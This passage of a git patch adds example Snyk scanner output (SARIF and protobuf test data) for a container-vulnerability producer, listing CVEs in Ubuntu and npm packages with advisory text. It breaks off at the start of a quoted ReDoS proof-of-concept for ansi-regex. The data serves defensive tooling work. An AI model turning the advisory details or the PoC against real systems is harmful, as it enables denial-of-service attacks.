From 7cb559a58c5958e4b621ca2b60aee969cecc2a7e Mon Sep 17 00:00:00 2001 From: sg Date: Wed, 18 Sep 2024 21:33:21 +0100 Subject: [PATCH 1/4] issue 362 a base snyk producer that supports snyk docker --- .../exampleData/snyk-container-example.sarif | 339 ++++++++++ .../exampleData/snyk-container-out.pb | 14 + .../exampleData/snyk-example.sarif | 594 ++++++++++++++++++ components/producers/snyk-docker/main.go | 59 ++ components/producers/snyk-docker/main_test.go | 181 ++++++ components/producers/snyk-docker/task.yaml | 57 ++ 6 files changed, 1244 insertions(+) create mode 100644 components/producers/snyk-docker/exampleData/snyk-container-example.sarif create mode 100644 components/producers/snyk-docker/exampleData/snyk-container-out.pb create mode 100644 components/producers/snyk-docker/exampleData/snyk-example.sarif create mode 100644 components/producers/snyk-docker/main.go create mode 100644 components/producers/snyk-docker/main_test.go create mode 100644 components/producers/snyk-docker/task.yaml diff --git a/components/producers/snyk-docker/exampleData/snyk-container-example.sarif b/components/producers/snyk-docker/exampleData/snyk-container-example.sarif new file mode 100644 index 000000000..ea360a557 --- /dev/null +++ b/components/producers/snyk-docker/exampleData/snyk-container-example.sarif @@ -0,0 +1,339 @@ +{ + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Snyk Container", + "semanticVersion": "1.1293.1", + "version": "1.1293.1", + "informationUri": "https://docs.snyk.io/", + "properties": { + "artifactsScanned": 91 + }, + "rules": [ + { + "id": "SNYK-UBUNTU2404-COREUTILS-6727355", + "shortDescription": { + "text": "Low severity - Improper Input Validation vulnerability in coreutils" + }, + "fullDescription": { + "text": "(CVE-2016-2781) coreutils@9.4-3ubuntu6" + }, + "help": { + "text": "", + "markdown": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `coreutils` package and not the `coreutils` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nchroot in GNU coreutils, when used with --userspec, allows local users to escape to the parent session via a crafted TIOCSTI ioctl call, which pushes characters to the terminal's input buffer.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `coreutils`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2781](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2781)\n- [https://security-tracker.debian.org/tracker/CVE-2016-2781](https://security-tracker.debian.org/tracker/CVE-2016-2781)\n- [https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E](https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E)\n- [http://www.openwall.com/lists/oss-security/2016/02/28/2](http://www.openwall.com/lists/oss-security/2016/02/28/2)\n- [http://www.openwall.com/lists/oss-security/2016/02/28/3](http://www.openwall.com/lists/oss-security/2016/02/28/3)\n- [https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772%40%3Cdev.mina.apache.org%3E](https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772%40%3Cdev.mina.apache.org%3E)\n" + }, + "defaultConfiguration": { + "level": "warning" + }, + "properties": { + "tags": [ + "security", + "CWE-20", + "deb" + ], + "cvssv3_baseScore": 6.5, + "security-severity": "6.5" + } + }, + { + "id": "SNYK-UBUNTU2404-GLIBC-6727419", + "shortDescription": { + "text": "Low severity - Allocation of Resources Without Limits or Throttling vulnerability in glibc" + }, + "fullDescription": { + "text": "(CVE-2016-20013) glibc/libc-bin@2.39-0ubuntu8.3" + }, + "help": { + "text": "", + "markdown": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `glibc` package and not the `glibc` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nsha256crypt and sha512crypt through 0.6 allow attackers to cause a denial of service (CPU consumption) because the algorithm's runtime is proportional to the square of the length of the password.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `glibc`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-20013](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-20013)\n- [https://akkadia.org/drepper/SHA-crypt.txt](https://akkadia.org/drepper/SHA-crypt.txt)\n- [https://pthree.org/2018/05/23/do-not-use-sha256crypt-sha512crypt-theyre-dangerous/](https://pthree.org/2018/05/23/do-not-use-sha256crypt-sha512crypt-theyre-dangerous/)\n- [https://twitter.com/solardiz/status/795601240151457793](https://twitter.com/solardiz/status/795601240151457793)\n" + }, + "defaultConfiguration": { + "level": "warning" + }, + "properties": { + "tags": [ + "security", + "CWE-770", + "deb" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-UBUNTU2404-GNUPG2-6702792", + "shortDescription": { + "text": "Low severity - Out-of-bounds Write vulnerability in gnupg2" + }, + "fullDescription": { + "text": "(CVE-2022-3219) gnupg2/gpgv@2.4.4-2ubuntu17" + }, + "help": { + "text": "", + "markdown": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `gnupg2` package and not the `gnupg2` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nGnuPG can be made to spin on a relatively small input by (for example) crafting a public key with thousands of signatures attached, compressed down to just a few KB.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `gnupg2`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2022-3219](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2022-3219)\n- [https://access.redhat.com/security/cve/CVE-2022-3219](https://access.redhat.com/security/cve/CVE-2022-3219)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2127010](https://bugzilla.redhat.com/show_bug.cgi?id=2127010)\n- [https://dev.gnupg.org/D556](https://dev.gnupg.org/D556)\n- [https://dev.gnupg.org/T5993](https://dev.gnupg.org/T5993)\n- [https://marc.info/?l=oss-security&m=165696590211434&w=4](https://marc.info/?l=oss-security&m=165696590211434&w=4)\n- [https://security.netapp.com/advisory/ntap-20230324-0001/](https://security.netapp.com/advisory/ntap-20230324-0001/)\n" + }, + "defaultConfiguration": { + "level": "warning" + }, + "properties": { + "tags": [ + "security", + "CWE-787", + "deb" + ], + "cvssv3_baseScore": 3.3, + "security-severity": "3.3" + } + }, + { + "id": "SNYK-UBUNTU2404-LIBGCRYPT20-6693674", + "shortDescription": { + "text": "Medium severity - Information Exposure vulnerability in libgcrypt20" + }, + "fullDescription": { + "text": "(CVE-2024-2236) libgcrypt20@1.10.3-2build1" + }, + "help": { + "text": "", + "markdown": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `libgcrypt20` package and not the `libgcrypt20` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nA timing-based side-channel flaw was found in libgcrypt's RSA implementation. This issue may allow a remote attacker to initiate a Bleichenbacher-style attack, which can lead to the decryption of RSA ciphertexts.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `libgcrypt20`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-2236](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-2236)\n- [https://access.redhat.com/security/cve/CVE-2024-2236](https://access.redhat.com/security/cve/CVE-2024-2236)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2268268](https://bugzilla.redhat.com/show_bug.cgi?id=2268268)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2245218](https://bugzilla.redhat.com/show_bug.cgi?id=2245218)\n" + }, + "defaultConfiguration": { + "level": "warning" + }, + "properties": { + "tags": [ + "security", + "CWE-208", + "deb" + ], + "cvssv3_baseScore": null, + "security-severity": "null" + } + }, + { + "id": "SNYK-UBUNTU2404-OPENSSL-7838291", + "shortDescription": { + "text": "Medium severity - CVE-2024-41996 vulnerability in openssl" + }, + "fullDescription": { + "text": "(CVE-2024-41996) openssl/libssl3t64@3.0.13-0ubuntu3.3" + }, + "help": { + "text": "", + "markdown": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nValidating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `openssl`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-41996](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-41996)\n- [https://dheatattack.gitlab.io/details/](https://dheatattack.gitlab.io/details/)\n- [https://dheatattack.gitlab.io/faq/](https://dheatattack.gitlab.io/faq/)\n- [https://gist.github.com/c0r0n3r/abccc14d4d96c0442f3a77fa5ca255d1](https://gist.github.com/c0r0n3r/abccc14d4d96c0442f3a77fa5ca255d1)\n" + }, + "defaultConfiguration": { + "level": "warning" + }, + "properties": { + "tags": [ + "security", + "deb" + ], + "cvssv3_baseScore": null, + "security-severity": "null" + } + }, + { + "id": "SNYK-UBUNTU2404-OPENSSL-7886358", + "shortDescription": { + "text": "Medium severity - CVE-2024-6119 vulnerability in openssl" + }, + "fullDescription": { + "text": "(CVE-2024-6119) openssl/libssl3t64@3.0.13-0ubuntu3.3" + }, + "help": { + "text": "", + "markdown": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nIssue summary: Applications performing certificate name checks (e.g., TLS\nclients checking server certificates) may attempt to read an invalid memory\naddress resulting in abnormal termination of the application process.\n\nImpact summary: Abnormal termination of an application can a cause a denial of\nservice.\n\nApplications performing certificate name checks (e.g., TLS clients checking\nserver certificates) may attempt to read an invalid memory address when\ncomparing the expected name with an `otherName` subject alternative name of an\nX.509 certificate. This may result in an exception that terminates the\napplication program.\n\nNote that basic certificate chain validation (signatures, dates, ...) is not\naffected, the denial of service can occur only when the application also\nspecifies an expected DNS name, Email address or IP address.\n\nTLS servers rarely solicit client certificates, and even when they do, they\ngenerally don't perform a name check against a reference identifier (expected\nidentity), but rather extract the presented identity after checking the\ncertificate chain. So TLS servers are generally not affected and the severity\nof the issue is Moderate.\n\nThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.\n## Remediation\nUpgrade `Ubuntu:24.04` `openssl` to version 3.0.13-0ubuntu3.4 or higher.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-6119](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-6119)\n- [https://github.com/openssl/openssl/commit/05f360d9e849a1b277db628f1f13083a7f8dd04f](https://github.com/openssl/openssl/commit/05f360d9e849a1b277db628f1f13083a7f8dd04f)\n- [https://github.com/openssl/openssl/commit/06d1dc3fa96a2ba5a3e22735a033012aadc9f0d6](https://github.com/openssl/openssl/commit/06d1dc3fa96a2ba5a3e22735a033012aadc9f0d6)\n- [https://github.com/openssl/openssl/commit/621f3729831b05ee828a3203eddb621d014ff2b2](https://github.com/openssl/openssl/commit/621f3729831b05ee828a3203eddb621d014ff2b2)\n- [https://github.com/openssl/openssl/commit/7dfcee2cd2a63b2c64b9b4b0850be64cb695b0a0](https://github.com/openssl/openssl/commit/7dfcee2cd2a63b2c64b9b4b0850be64cb695b0a0)\n- [https://openssl-library.org/news/secadv/20240903.txt](https://openssl-library.org/news/secadv/20240903.txt)\n" + }, + "defaultConfiguration": { + "level": "warning" + }, + "properties": { + "tags": [ + "security", + "deb" + ], + "cvssv3_baseScore": null, + "security-severity": "null" + } + } + ] + } + }, + "results": [ + { + "ruleId": "SNYK-UBUNTU2404-COREUTILS-6727355", + "level": "note", + "message": { + "text": "This file introduces a vulnerable coreutils package with a low severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "region": { + "startLine": 1 + } + }, + "logicalLocations": [ + { + "fullyQualifiedName": "coreutils@9.4-3ubuntu6" + } + ] + } + ] + }, + { + "ruleId": "SNYK-UBUNTU2404-GLIBC-6727419", + "level": "note", + "message": { + "text": "This file introduces a vulnerable glibc package with a low severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "region": { + "startLine": 1 + } + }, + "logicalLocations": [ + { + "fullyQualifiedName": "glibc@2.39-0ubuntu8.3" + } + ] + } + ] + }, + { + "ruleId": "SNYK-UBUNTU2404-GNUPG2-6702792", + "level": "note", + "message": { + "text": "This file introduces a vulnerable gnupg2 package with a low severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "region": { + "startLine": 1 + } + }, + "logicalLocations": [ + { + "fullyQualifiedName": "gnupg2@2.4.4-2ubuntu17" + } + ] + } + ] + }, + { + "ruleId": "SNYK-UBUNTU2404-LIBGCRYPT20-6693674", + "level": "warning", + "message": { + "text": "This file introduces a vulnerable libgcrypt20 package with a medium severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "region": { + "startLine": 1 + } + }, + "logicalLocations": [ + { + "fullyQualifiedName": "libgcrypt20@1.10.3-2build1" + } + ] + } + ] + }, + { + "ruleId": "SNYK-UBUNTU2404-OPENSSL-7838291", + "level": "warning", + "message": { + "text": "This file introduces a vulnerable openssl package with a medium severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "region": { + "startLine": 1 + } + }, + "logicalLocations": [ + { + "fullyQualifiedName": "openssl@3.0.13-0ubuntu3.3" + } + ] + } + ] + }, + { + "ruleId": "SNYK-UBUNTU2404-OPENSSL-7886358", + "level": "warning", + "message": { + "text": "This file introduces a vulnerable openssl package with a medium severity vulnerability." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "region": { + "startLine": 1 + } + }, + "logicalLocations": [ + { + "fullyQualifiedName": "openssl@3.0.13-0ubuntu3.3" + } + ] + } + ], + "fixes": [ + { + "description": { + "text": "Upgrade to openssl/libssl3t64@3.0.13-0ubuntu3.4" + }, + "artifactChanges": [ + { + "artifactLocation": { + "uri": "ubuntu_latest" + }, + "replacements": [ + { + "deletedRegion": { + "startLine": 1 + }, + "insertedContent": { + "text": "openssl/libssl3t64@3.0.13-0ubuntu3.4" + } + } + ] + } + ] + } + ] + } + ] + } + ] +} diff --git a/components/producers/snyk-docker/exampleData/snyk-container-out.pb b/components/producers/snyk-docker/exampleData/snyk-container-out.pb new file mode 100644 index 000000000..56236d151 --- /dev/null +++ b/components/producers/snyk-docker/exampleData/snyk-container-out.pb @@ -0,0 +1,14 @@ + + ȷsnyk +ubuntu_latest:1-1!SNYK-UBUNTU2404-COREUTILS-6727355VThis file introduces a vulnerable coreutils package with a low severity vulnerability. :MatchedRule: {"id":"SNYK-UBUNTU2404-COREUTILS-6727355","shortDescription":{"text":"Low severity - Improper Input Validation vulnerability in coreutils"},"fullDescription":{"text":"(CVE-2016-2781) coreutils@9.4-3ubuntu6"},"defaultConfiguration":{"level":"warning"},"help":{"text":"","markdown":"## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `coreutils` package and not the `coreutils` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nchroot in GNU coreutils, when used with --userspec, allows local users to escape to the parent session via a crafted TIOCSTI ioctl call, which pushes characters to the terminal\u0026#39;s input buffer.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `coreutils`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2781](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-2781)\n- [https://security-tracker.debian.org/tracker/CVE-2016-2781](https://security-tracker.debian.org/tracker/CVE-2016-2781)\n- [https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E](https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772@%3Cdev.mina.apache.org%3E)\n- [http://www.openwall.com/lists/oss-security/2016/02/28/2](http://www.openwall.com/lists/oss-security/2016/02/28/2)\n- [http://www.openwall.com/lists/oss-security/2016/02/28/3](http://www.openwall.com/lists/oss-security/2016/02/28/3)\n- [https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772%40%3Cdev.mina.apache.org%3E](https://lists.apache.org/thread.html/rf9fa47ab66495c78bb4120b0754dd9531ca2ff0430f6685ac9b07772%40%3Cdev.mina.apache.org%3E)\n"},"properties":{"cvssv3_baseScore":6.5,"security-severity":"6.5","tags":["security","CWE-20","deb"]}} + Message: This file introduces a vulnerable coreutils package with a low severity vulnerability.Bunknown +ubuntu_latest:1-1SNYK-UBUNTU2404-GLIBC-6727419RThis file introduces a vulnerable glibc package with a low severity vulnerability. : MatchedRule: {"id":"SNYK-UBUNTU2404-GLIBC-6727419","shortDescription":{"text":"Low severity - Allocation of Resources Without Limits or Throttling vulnerability in glibc"},"fullDescription":{"text":"(CVE-2016-20013) glibc/libc-bin@2.39-0ubuntu8.3"},"defaultConfiguration":{"level":"warning"},"help":{"text":"","markdown":"## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `glibc` package and not the `glibc` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nsha256crypt and sha512crypt through 0.6 allow attackers to cause a denial of service (CPU consumption) because the algorithm\u0026#39;s runtime is proportional to the square of the length of the password.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `glibc`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-20013](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-20013)\n- [https://akkadia.org/drepper/SHA-crypt.txt](https://akkadia.org/drepper/SHA-crypt.txt)\n- [https://pthree.org/2018/05/23/do-not-use-sha256crypt-sha512crypt-theyre-dangerous/](https://pthree.org/2018/05/23/do-not-use-sha256crypt-sha512crypt-theyre-dangerous/)\n- [https://twitter.com/solardiz/status/795601240151457793](https://twitter.com/solardiz/status/795601240151457793)\n"},"properties":{"cvssv3_baseScore":7.5,"security-severity":"7.5","tags":["security","CWE-770","deb"]}} + Message: This file introduces a vulnerable glibc package with a low severity vulnerability.Bunknown +ubuntu_latest:1-1SNYK-UBUNTU2404-GNUPG2-6702792SThis file introduces a vulnerable gnupg2 package with a low severity vulnerability. : MatchedRule: {"id":"SNYK-UBUNTU2404-GNUPG2-6702792","shortDescription":{"text":"Low severity - Out-of-bounds Write vulnerability in gnupg2"},"fullDescription":{"text":"(CVE-2022-3219) gnupg2/gpgv@2.4.4-2ubuntu17"},"defaultConfiguration":{"level":"warning"},"help":{"text":"","markdown":"## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `gnupg2` package and not the `gnupg2` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nGnuPG can be made to spin on a relatively small input by (for example) crafting a public key with thousands of signatures attached, compressed down to just a few KB.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `gnupg2`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2022-3219](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2022-3219)\n- [https://access.redhat.com/security/cve/CVE-2022-3219](https://access.redhat.com/security/cve/CVE-2022-3219)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2127010](https://bugzilla.redhat.com/show_bug.cgi?id=2127010)\n- [https://dev.gnupg.org/D556](https://dev.gnupg.org/D556)\n- [https://dev.gnupg.org/T5993](https://dev.gnupg.org/T5993)\n- [https://marc.info/?l=oss-security\u0026m=165696590211434\u0026w=4](https://marc.info/?l=oss-security\u0026m=165696590211434\u0026w=4)\n- [https://security.netapp.com/advisory/ntap-20230324-0001/](https://security.netapp.com/advisory/ntap-20230324-0001/)\n"},"properties":{"cvssv3_baseScore":3.3,"security-severity":"3.3","tags":["security","CWE-787","deb"]}} + Message: This file introduces a vulnerable gnupg2 package with a low severity vulnerability.Bunknown +ubuntu_latest:1-1#SNYK-UBUNTU2404-LIBGCRYPT20-6693674[This file introduces a vulnerable libgcrypt20 package with a medium severity vulnerability. : MatchedRule: {"id":"SNYK-UBUNTU2404-LIBGCRYPT20-6693674","shortDescription":{"text":"Medium severity - Information Exposure vulnerability in libgcrypt20"},"fullDescription":{"text":"(CVE-2024-2236) libgcrypt20@1.10.3-2build1"},"defaultConfiguration":{"level":"warning"},"help":{"text":"","markdown":"## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `libgcrypt20` package and not the `libgcrypt20` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nA timing-based side-channel flaw was found in libgcrypt\u0026#39;s RSA implementation. This issue may allow a remote attacker to initiate a Bleichenbacher-style attack, which can lead to the decryption of RSA ciphertexts.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `libgcrypt20`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-2236](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-2236)\n- [https://access.redhat.com/security/cve/CVE-2024-2236](https://access.redhat.com/security/cve/CVE-2024-2236)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2268268](https://bugzilla.redhat.com/show_bug.cgi?id=2268268)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2245218](https://bugzilla.redhat.com/show_bug.cgi?id=2245218)\n"},"properties":{"cvssv3_baseScore":null,"security-severity":"null","tags":["security","CWE-208","deb"]}} + Message: This file introduces a vulnerable libgcrypt20 package with a medium severity vulnerability.Bunknown +ubuntu_latest:1-1SNYK-UBUNTU2404-OPENSSL-7838291WThis file introduces a vulnerable openssl package with a medium severity vulnerability. : MatchedRule: {"id":"SNYK-UBUNTU2404-OPENSSL-7838291","shortDescription":{"text":"Medium severity - CVE-2024-41996 vulnerability in openssl"},"fullDescription":{"text":"(CVE-2024-41996) openssl/libssl3t64@3.0.13-0ubuntu3.3"},"defaultConfiguration":{"level":"warning"},"help":{"text":"","markdown":"## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nValidating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.\n## Remediation\nThere is no fixed version for `Ubuntu:24.04` `openssl`.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-41996](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-41996)\n- [https://dheatattack.gitlab.io/details/](https://dheatattack.gitlab.io/details/)\n- [https://dheatattack.gitlab.io/faq/](https://dheatattack.gitlab.io/faq/)\n- [https://gist.github.com/c0r0n3r/abccc14d4d96c0442f3a77fa5ca255d1](https://gist.github.com/c0r0n3r/abccc14d4d96c0442f3a77fa5ca255d1)\n"},"properties":{"cvssv3_baseScore":null,"security-severity":"null","tags":["security","deb"]}} + Message: This file introduces a vulnerable openssl package with a medium severity vulnerability.Bunknown +ubuntu_latest:1-1SNYK-UBUNTU2404-OPENSSL-7886358WThis file introduces a vulnerable openssl package with a medium severity vulnerability. :MatchedRule: {"id":"SNYK-UBUNTU2404-OPENSSL-7886358","shortDescription":{"text":"Medium severity - CVE-2024-6119 vulnerability in openssl"},"fullDescription":{"text":"(CVE-2024-6119) openssl/libssl3t64@3.0.13-0ubuntu3.3"},"defaultConfiguration":{"level":"warning"},"help":{"text":"","markdown":"## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Ubuntu`._\n_See `How to fix?` for `Ubuntu:24.04` relevant fixed versions and status._\n\nIssue summary: Applications performing certificate name checks (e.g., TLS\nclients checking server certificates) may attempt to read an invalid memory\naddress resulting in abnormal termination of the application process.\n\nImpact summary: Abnormal termination of an application can a cause a denial of\nservice.\n\nApplications performing certificate name checks (e.g., TLS clients checking\nserver certificates) may attempt to read an invalid memory address when\ncomparing the expected name with an `otherName` subject alternative name of an\nX.509 certificate. This may result in an exception that terminates the\napplication program.\n\nNote that basic certificate chain validation (signatures, dates, ...) is not\naffected, the denial of service can occur only when the application also\nspecifies an expected DNS name, Email address or IP address.\n\nTLS servers rarely solicit client certificates, and even when they do, they\ngenerally don\u0026#39;t perform a name check against a reference identifier (expected\nidentity), but rather extract the presented identity after checking the\ncertificate chain. So TLS servers are generally not affected and the severity\nof the issue is Moderate.\n\nThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.\n## Remediation\nUpgrade `Ubuntu:24.04` `openssl` to version 3.0.13-0ubuntu3.4 or higher.\n## References\n- [http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-6119](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2024-6119)\n- [https://github.com/openssl/openssl/commit/05f360d9e849a1b277db628f1f13083a7f8dd04f](https://github.com/openssl/openssl/commit/05f360d9e849a1b277db628f1f13083a7f8dd04f)\n- [https://github.com/openssl/openssl/commit/06d1dc3fa96a2ba5a3e22735a033012aadc9f0d6](https://github.com/openssl/openssl/commit/06d1dc3fa96a2ba5a3e22735a033012aadc9f0d6)\n- [https://github.com/openssl/openssl/commit/621f3729831b05ee828a3203eddb621d014ff2b2](https://github.com/openssl/openssl/commit/621f3729831b05ee828a3203eddb621d014ff2b2)\n- [https://github.com/openssl/openssl/commit/7dfcee2cd2a63b2c64b9b4b0850be64cb695b0a0](https://github.com/openssl/openssl/commit/7dfcee2cd2a63b2c64b9b4b0850be64cb695b0a0)\n- [https://openssl-library.org/news/secadv/20240903.txt](https://openssl-library.org/news/secadv/20240903.txt)\n"},"properties":{"cvssv3_baseScore":null,"security-severity":"null","tags":["security","deb"]}} + Message: This file introduces a vulnerable openssl package with a medium severity vulnerability.Bunknown \ No newline at end of file diff --git a/components/producers/snyk-docker/exampleData/snyk-example.sarif b/components/producers/snyk-docker/exampleData/snyk-example.sarif new file mode 100644 index 000000000..47a7ecbf6 --- /dev/null +++ b/components/producers/snyk-docker/exampleData/snyk-example.sarif @@ -0,0 +1,594 @@ +{ + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Snyk Open Source", + "rules": [ + { + "id": "SNYK-JS-ANSIREGEX-1583908", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in ansi-regex" + }, + "fullDescription": { + "text": "(CVE-2021-3807) ansi-regex@2.1.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: ansi-regex\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › wide-align@1.1.3 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › cli-table3@0.6.0 › string-width@4.2.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › jest@27.4.7 › @jest/core@27.4.7 › @jest/reporters@27.4.6 › string-length@4.0.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n## PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = 